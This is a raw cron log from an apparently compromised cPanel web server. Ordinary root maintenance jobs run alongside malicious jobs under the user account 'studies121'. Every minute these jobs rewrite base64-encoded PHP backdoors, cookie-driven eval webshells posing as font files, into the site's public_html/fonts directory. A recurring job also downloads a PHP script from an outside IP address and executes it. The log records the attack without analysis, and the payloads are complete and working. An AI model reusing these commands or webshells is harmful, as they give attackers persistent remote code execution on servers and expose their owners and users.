Sep 21 18:35:01 ip-184-168-122-23 CROND[28873]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 21 18:35:01 ip-184-168-122-23 CROND[28875]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 18:35:01 ip-184-168-122-23 CROND[28882]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 18:35:01 ip-184-168-122-23 CROND[28881]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 18:35:01 ip-184-168-122-23 CROND[28883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:35:01 ip-184-168-122-23 CROND[28880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:35:01 ip-184-168-122-23 CROND[28885]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:36:01 ip-184-168-122-23 CROND[29010]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:36:01 ip-184-168-122-23 CROND[29014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:36:01 ip-184-168-122-23 CROND[29013]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 18:36:01 ip-184-168-122-23 CROND[29015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:36:01 ip-184-168-122-23 CROND[29012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:37:01 ip-184-168-122-23 CROND[29111]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:37:01 ip-184-168-122-23 CROND[29113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:37:01 ip-184-168-122-23 CROND[29114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:37:01 ip-184-168-122-23 CROND[29115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:38:01 ip-184-168-122-23 CROND[29313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:38:01 ip-184-168-122-23 CROND[29314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:38:01 ip-184-168-122-23 CROND[29316]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 18:38:01 ip-184-168-122-23 CROND[29318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:38:01 ip-184-168-122-23 CROND[29320]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:39:01 ip-184-168-122-23 CROND[29443]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:39:01 ip-184-168-122-23 CROND[29444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:39:01 ip-184-168-122-23 CROND[29445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:39:01 ip-184-168-122-23 CROND[29446]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 18:39:01 ip-184-168-122-23 CROND[29447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:40:01 ip-184-168-122-23 CROND[29564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:40:01 ip-184-168-122-23 CROND[29571]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 18:40:01 ip-184-168-122-23 CROND[29569]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 18:40:01 ip-184-168-122-23 CROND[29570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:40:01 ip-184-168-122-23 CROND[29568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:40:01 ip-184-168-122-23 CROND[29566]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 18:40:01 ip-184-168-122-23 CROND[29567]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 18:40:01 ip-184-168-122-23 CROND[29573]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:41:01 ip-184-168-122-23 CROND[29693]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:41:01 ip-184-168-122-23 CROND[29694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:41:01 ip-184-168-122-23 CROND[29696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:41:01 ip-184-168-122-23 CROND[29697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:42:01 ip-184-168-122-23 CROND[29797]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 18:42:01 ip-184-168-122-23 CROND[29799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:42:01 ip-184-168-122-23 CROND[29801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:42:01 ip-184-168-122-23 CROND[29800]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:42:01 ip-184-168-122-23 CROND[29802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:43:01 ip-184-168-122-23 CROND[29994]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:43:01 ip-184-168-122-23 CROND[29995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:43:01 ip-184-168-122-23 CROND[29996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:43:01 ip-184-168-122-23 CROND[29997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:44:01 ip-184-168-122-23 CROND[30240]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:44:01 ip-184-168-122-23 CROND[30241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:44:01 ip-184-168-122-23 CROND[30244]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 18:44:01 ip-184-168-122-23 CROND[30246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:44:01 ip-184-168-122-23 CROND[30245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:45:01 ip-184-168-122-23 CROND[30345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:45:01 ip-184-168-122-23 CROND[30347]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 18:45:01 ip-184-168-122-23 CROND[30346]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 18:45:01 ip-184-168-122-23 CROND[30350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:45:01 ip-184-168-122-23 CROND[30352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:45:01 ip-184-168-122-23 CROND[30353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:46:01 ip-184-168-122-23 CROND[30468]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:46:01 ip-184-168-122-23 CROND[30470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:46:01 ip-184-168-122-23 CROND[30471]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 21 18:46:01 ip-184-168-122-23 CROND[30474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:46:01 ip-184-168-122-23 CROND[30472]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 18:46:01 ip-184-168-122-23 CROND[30473]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 18:46:01 ip-184-168-122-23 CROND[30475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:47:01 ip-184-168-122-23 CROND[30589]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:47:01 ip-184-168-122-23 CROND[30591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
